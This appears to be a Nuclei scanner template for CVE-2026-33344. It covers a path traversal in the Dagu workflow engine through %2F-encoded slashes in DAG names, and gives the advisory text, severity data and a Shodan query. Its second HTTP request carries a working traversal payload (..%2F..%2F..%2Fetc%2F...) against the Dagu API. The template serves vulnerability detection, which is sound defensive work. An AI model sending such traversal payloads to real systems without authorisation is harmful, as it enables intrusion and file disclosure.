Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.
id: CVE-2026-33344
info:
name: dagu <= 2.3.0 - Path Traversal via Encoded Slashes in DAG Name
author: zohuyhieuzo03
severity: high
description: |
Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.
impact: |
Attackers can access files outside the intended directory, potentially exposing sensitive data or system files.
remediation: |
Update to version 2.3.1 or later.
reference:
- https://github.com/dagu-org/dagu/security/advisories/GHSA-ph8x-4jfv-v9v8
- https://github.com/dagu-org/dagu/commit/7d07fda8f9de3ae73dfb081ccd0639f8059c56bb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2026-33344
epss-score: 0.00498
epss-percentile: 0.43248
cwe-id: CWE-22
metadata:
verified: false
max-request: 2
vendor: dagucloud
product: dagu
shodan-query: title:"dagu"
tags: cve,cve2026,dagu,lfi,oss
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/v1/dags/{{to_lower(rand_text_alpha(12))}}/spec HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "not_found","DAG not found")
- status_code == 404
condition: and
internal: true
- raw:
- |
GET /api/v1/dags/..%2F..%2F..%2Fetc%2F{{to_lower(rand_text_alpha(12))}}.yaml/spec HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "not_found","DAG not found")
- status_code == 404
condition: and
# digest: 4a0a00473045022100f64d1280abdaaf870033727b9554de846498a963610074ae245e17adde38bf1702204c0c06702798f9f72422b04bf53e4628b0f80309a30234b7b2897f0b104353d2:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.